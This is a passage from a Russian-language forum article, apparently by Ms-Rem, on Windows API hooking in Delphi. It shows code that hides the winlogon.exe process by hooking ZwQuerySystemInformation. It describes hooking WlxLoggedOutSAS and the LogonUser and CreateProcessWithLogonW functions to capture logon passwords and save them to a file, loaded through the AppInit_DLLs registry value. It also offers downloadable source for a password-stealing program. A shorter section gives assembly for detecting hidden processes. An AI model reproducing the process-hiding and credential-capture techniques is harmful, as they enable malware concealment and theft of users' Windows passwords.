  10.                                         ASystemInformationLength,
  11.                                         AReturnLength);
  12.  
  13.  if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
  14.     (Result = STATUS_SUCCESS) then
  15.     begin
  16.       Info := ASystemInformation;
  17.       while(Info^.NextEntryDelta > 0) do
  18.        begin
  19.          Prev := Info;
  20.          Info := pointer(dword(Info) + Info^.NextEntryDelta);
  21.          if lstrcmpiw(Info^.ProcessName.Buffer, 'winlogon.exe') = 0 then
  22.            Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta;
  23.        end;
  24.     end;
  25. end;

В общем, мы кратко рассмотрели способ скрытия файлов и процессов.

В завершении, приведу пример программы перехватывающей пароли на вход в Windows и при запуске программ от имени пользователя.
Для начала немного теории: при входе пользователя в систему процесс Winlogon.exe проводит его авторизацию через функции библиотеки msgina.dll. Конкретно, нас интересует функция WlxLoggedOutSAS вызывающаяся при входе пользователя в систему.
Вот прототип этой функции:

Код (Text):
  1.  WlxLoggedOutSAS: Function(pWlxContext: pointer;
  2.                            dwSasType: dword;
  3.                            pAuthenticationId: pointer;
  4.                            pLogonSid: pointer;
  5.                            pdwOptions,
  6.                            phToken: PDWORD;
  7.                            pMprNotifyInfo: PWLX_MPR_NOTIFY_INFO;
  8.                            pProfile:pointer): dword; stdcall;

Функции передается структура WLX_MPR_NOTIFY_INFO содержащая в себе имя пользователя, его пароль и домен.

Код (Text):
  1. PWLX_MPR_NOTIFY_INFO = ^WLX_MPR_NOTIFY_INFO;
  2. WLX_MPR_NOTIFY_INFO = packed record
  3.   pszUserName: PWideChar;
  4.   pszDomain: PWideChar;
  5.   pszPassword: PWideChar;
  6.   pszOldPassword: PWideChar;
  7.  end;

Мы будем перехватывать функцию WlxLoggedOutSAS в процессе Winlogon.exe и сохранять полученные пароли в файле.
В других процессах мы будем перехватывать LogonUserA, LogonUserW и CreateProcessWithLogonW - эти функции используются для запуска процессов от имени другого пользователя.

Код (Text):
  1.  
  2. function LogonUserA(lpszUsername, lpszDomain, lpszPassword: PAnsiChar;
  3.                     dwLogonType, dwLogonProvider: DWORD;
  4.                     var phToken: THandle): BOOL; stdcall; external 'advapi32.dll';
  5.  
  6. function LogonUserW(lpszUsername, lpszDomain, lpszPassword: PWideChar;
  7.                     dwLogonType, dwLogonProvider: DWORD;
  8.                     var phToken: THandle): BOOL; stdcall; external 'advapi32.dll';
  9.  
  10. Function CreateProcessWithLogonW(const lpUsername: PWideChar;
  11.                                  const lpDomain: PWideChar;
  12.                                  const lpPassword: PWideChar;
  13.                                  dwLogonFlags: DWORD;
  14.                                  const lpApplicationName: PWideChar;
  15.                                  lpCommandLine: PWideChar;
  16.                                  dwCreationFlags: DWORD;
  17.                                  lpEnvironment: Pointer;
  18.                                  const lpCurrentDirectory: PWideChar;
  19.                                  lpStartupInfo: PStartupInfo;
  20.                                  lpProcessInfo: PProcessInformation): Boolean;
  21.                                  stdcall; external 'advapi32.dll';

Перехват этих функций поместим в DLL, глобализатор делать не будем, просто пропишем нашу библиотеку в раздел реестра
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
параметр AppInit_DLLs, тип REG_SZ
Тогда эта библиотека будет автоматически подгружена к любому приложению, которое имеет в своей памяти user32.dll.
В приложении к статье вы можете скачать полные исходники программы FuckLogon, которая перехватывает пароли данным методом.



Защита:

Описанный мной метод перехвата API функций может быть использован для написания чрезвычайно опасных вредоносных программ.
Во избежание этого, я приведу здесь разработанный мной метод поиска скрытых процессов.
Метод состоит в том, что список процессов получается не с помощью API функций, а непосредственно через системные вызовы ядра Windows.
Недостаток данного метода состоит в том, что интерфейсы ядра не документированы, и узнать их можно только дизассемблируя системные библиотеки.
Также функции ядра могут различаться в разных версиях Windows, поэтому работоспособность этого метода везде не гарантируется.
Приведенный ниже код получает список процессов с помощью вызова интерфейсов ядра:

Код (Text):
  1. Procedure GetProcessList(var NameList, HandleList: TList);
  2. asm
  3.  push ebp
  4.  mov ebp, esp
  5.  push ecx
  6.  push ebx
  7.  push esi
  8.  push edi
  9.  mov esi, edx
  10.  mov ebx,eax
  11.  push $05
  12.  call @GetInfoTable
  13.  jmp @InfoTableEnd
  14.  @GetInfoTable:
  15.  push ebp
  16.  mov ebp, esp
  17.  sub esp, $04h
  18.  push esi
  19.  push 0
  20.  pop dword ptr [ebp - $04]
  21.  mov esi, $4000
  22.  @GetInfoTable_doublespace:
  23.  shl esi, $01
  24.  push esi
  25.  push 0
  26.  call LocalAlloc
  27.  test eax, eax
  28.  jz @GetInfoTable_failed
  29.  mov [ebp-$04], eax
  30.  push 0
  31.  push esi
  32.  push eax
  33.  push dword ptr [ebp + $08]
  34.  call @OpenKernelData
  35.  jmp @Cont
  36.  @OpenKernelData:
  37.  mov eax, $AD
  38.  call @SystemCall
  39.  ret $10
  40.  @SystemCall:
  41.  mov edx, esp
  42.  sysenter
  43.  @Cont:
  44.  test eax, $C0000000
  45.  jz @GetInfoTable_end
  46.  cmp eax, $C0000004
  47.  jnz @GetInfoTable_failed
  48.  push dword ptr [ebp - $04]
  49.  call LocalFree
  50.  jmp @GetInfoTable_doublespace
  51.  @GetInfoTable_failed:
  52.  push 0
  53.  pop dword ptr [ebp - $04]
  54.  @GetInfoTable_end:
  55.  mov eax,[ebp - $04]
  56.  pop esi
  57.  leave
  58.  ret $04
  59.  @InfoTableEnd:
  60.  mov [edi], eax
  61.  @FindData:
  62.  mov edx, [eax + $3C]
  63.  mov eax, [ebx]
  64.  call TList.Add  //NameList.Add
  65.  mov eax, [edi]
  66.  lea edx, [eax + $44]
  67.  mov eax, [esi]
  68.  call TList.Add  //HandleList.Add
  69.  mov eax, [edi]
  70.  cmp [eax], 0
  71.  jz @EndData
  72.  add eax, [eax]
  73.  mov [edi], eax
  74.  jmp @FindData
  75.  @EndData:
  76.  pop edi  
  77.  pop esi
  78.  pop ebx
  79.  pop ecx
  80.  pop ebp
  81.  ret
  82. end;

NameList будет содержать указатели PWideChar на имена процессов, а HandleList на их PID. Данный код проверен в Windows XP sp0,sp1 и sp2. В Windows 2000 он работать не будет, так как интерфейс системных вызовов там сильно отличается от XP. Но от перехвата API в ядре этот метод не спасет.
Этот метод поиска скрытых процессов реализован в моей программе ProcessMaster, которую вы можете скачать в приложении к статье.


Приложение:

Здесь вы найдете все файлы идущие со статьей:

ФайлОписание
Logon (21 кб)Программа Logon перехватывающая пароли на вход в систему.
В архиве также находятся исходники программы.
AdwareBox (15 кб)Программа - прикол. Заставляет все MessageBox в системе отображать рекламу.
ProcHide (10 кб)Пример скрытия процесса winlogon.exe путем перехвата ZwQuerySystemInformation.
ProcessMaster (189 кб)Программа ProcessMaster для обнаружения скрытых процессов.
Гарантированное обнаружение любых UserMode API перехватчиков
© Ms-Rem

0 2.262
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532